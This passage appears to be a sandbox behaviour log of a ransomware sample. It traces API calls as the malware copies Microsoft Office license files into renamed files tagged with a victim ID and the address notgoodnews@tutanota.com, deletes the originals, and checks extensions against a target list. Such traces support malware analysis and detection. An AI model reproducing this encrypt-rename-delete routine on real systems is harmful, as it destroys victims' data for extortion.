(lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0184.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.387] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22094) returned 1 [0184.387] CloseHandle (hObject=0x518) returned 1 [0184.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0184.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.902] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.902] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.903] GetLastError () returned 0x0 [0184.903] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x564e, lpOverlapped=0x0) returned 1 [0184.908] WriteFile (in: hFile=0x51c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.911] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.911] WriteFile (in: hFile=0x51c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x118, lpOverlapped=0x0) returned 1 [0184.911] SetEndOfFile (hFile=0x51c) returned 1 [0184.911] CloseHandle (hObject=0x51c) returned 1 [0184.911] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.911] SetEndOfFile (hFile=0x454) returned 1 [0184.915] CloseHandle (hObject=0x454) returned 1 [0184.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0184.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.918] lstrlenW (lpString=".doc") returned 4 [0184.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".docx") returned 5 [0184.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.918] lstrlenW (lpString=".pdf") returned 4 [0184.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".xls") returned 4 [0184.918] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".xlsx") returned 5 [0184.918] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.918] lstrlenW (lpString=".ppt") returned 4 [0184.918] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.918] lstrlenW (lpString=".zip") returned 4 [0184.918] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".rar") returned 4 [0184.918] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".bz2") returned 4 [0184.918] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.918] lstrlenW (lpString=".7z") returned 3 [0184.918] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString=".dbf") returned 4 [0184.919] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString=".1cd") returned 4 [0184.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString=".jpg") returned 4 [0184.919] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString=".doc") returned 4 [0184.919] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString=".docx") returned 5 [0184.919] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.919] lstrlenW (lpString=".pdf") returned 4 [0184.919] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString=".xls") returned 4 [0184.919] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString=".xlsx") returned 5 [0184.919] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.919] lstrlenW (lpString=".ppt") returned 4 [0184.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.919] lstrlenW (lpString=".zip") returned 4 [0184.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString=".rar") returned 4 [0184.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.919] lstrlenW (lpString=".bz2") returned 4 [0184.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.920] lstrlenW (lpString=".7z") returned 3 [0184.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.920] lstrlenW (lpString=".dbf") returned 4 [0184.920] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.920] lstrlenW (lpString=".1cd") returned 4 [0184.920] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0184.920] lstrlenW (lpString=".jpg") returned 4 [0184.920] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.920] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.920] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33 [0184.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.921] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10667) returned 1 [0184.921] CloseHandle (hObject=0x454) returned 1 [0184.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0184.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.922] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.922] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.924] GetLastError () returned 0x0 [0184.924] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0184.994] WriteFile (in: hFile=0x51c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.995] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.995] WriteFile (in: hFile=0x51c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x116, lpOverlapped=0x0) returned 1 [0184.995] SetEndOfFile (hFile=0x51c) returned 1 [0185.004] CloseHandle (hObject=0x51c) returned 1 [0185.005] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.005] SetEndOfFile (hFile=0x454) returned 1 [0185.019] CloseHandle (hObject=0x454) returned 1 [0185.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.021] lstrlenW (lpString=".doc") returned 4 [0185.021] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.021] lstrlenW (lpString=".docx") returned 5 [0185.021] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.022] lstrlenW (lpString=".pdf") returned 4 [0185.022] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString=".xls") returned 4 [0185.022] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString=".xlsx") returned 5 [0185.022] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.022] lstrlenW (lpString=".ppt") returned 4 [0185.022] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.022] lstrlenW (lpString=".zip") returned 4 [0185.022] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString=".rar") returned 4 [0185.022] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString=".bz2") returned 4 [0185.022] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString=".7z") returned 3 [0185.022] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.022] lstrlenW (lpString=".dbf") returned 4 [0185.022] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.022] lstrlenW (lpString=".1cd") returned 4 [0185.022] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.022] lstrlenW (lpString=".jpg") returned 4 [0185.022] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.023] lstrlenW (lpString=".doc") returned 4 [0185.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".docx") returned 5 [0185.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.023] lstrlenW (lpString=".pdf") returned 4 [0185.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".xls") returned 4 [0185.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".xlsx") returned 5 [0185.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.023] lstrlenW (lpString=".ppt") returned 4 [0185.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.023] lstrlenW (lpString=".zip") returned 4 [0185.023] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".rar") returned 4 [0185.023] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".bz2") returned 4 [0185.023] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString=".7z") returned 3 [0185.023] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.023] lstrlenW (lpString=".dbf") returned 4 [0185.023] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.023] lstrlenW (lpString=".1cd") returned 4 [0185.023] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0185.024] lstrlenW (lpString=".jpg") returned 4 [0185.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.024] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.024] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31 [0185.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0185.025] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22091) returned 1 [0185.025] CloseHandle (hObject=0x454) returned 1 [0185.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0185.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0185.026] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0185.028] GetLastError () returned 0x0 [0185.028] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x564b, lpOverlapped=0x0) returned 1 [0185.031] WriteFile (in: hFile=0x55c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x5650, lpOverlapped=0x0) returned 1 [0185.033] ReadFile (in: hFile=0x454, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.033] WriteFile (in: hFile=0x55c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x112, lpOverlapped=0x0) returned 1 [0185.033] SetEndOfFile (hFile=0x55c) returned 1 [0185.033] CloseHandle (hObject=0x55c) returned 1 [0185.033] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.033] SetEndOfFile (hFile=0x454) returned 1 [0185.753] CloseHandle (hObject=0x454) returned 1 [0185.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0186.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.509] lstrlenW (lpString=".doc") returned 4 [0186.509] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.509] lstrlenW (lpString=".docx") returned 5 [0186.509] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.509] lstrlenW (lpString=".pdf") returned 4 [0186.509] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.509] lstrlenW (lpString=".xls") returned 4 [0186.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString=".xlsx") returned 5 [0186.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.510] lstrlenW (lpString=".ppt") returned 4 [0186.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString=".zip") returned 4 [0186.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString=".rar") returned 4 [0186.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString=".bz2") returned 4 [0186.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString=".7z") returned 3 [0186.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString=".dbf") returned 4 [0186.510] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString=".1cd") returned 4 [0186.510] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString=".jpg") returned 4 [0186.510] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.510] lstrlenW (lpString=".doc") returned 4 [0186.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.620] lstrlenW (lpString=".docx") returned 5 [0186.620] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.620] lstrlenW (lpString=".pdf") returned 4 [0186.620] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.620] lstrlenW (lpString=".xls") returned 4 [0186.620] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.620] lstrlenW (lpString=".xlsx") returned 5 [0186.620] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.620] lstrlenW (lpString=".ppt") returned 4 [0186.620] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.621] lstrlenW (lpString=".zip") returned 4 [0186.621] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.621] lstrlenW (lpString=".rar") returned 4 [0186.621] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.621] lstrlenW (lpString=".bz2") returned 4 [0186.621] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.621] lstrlenW (lpString=".7z") returned 3 [0186.621] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 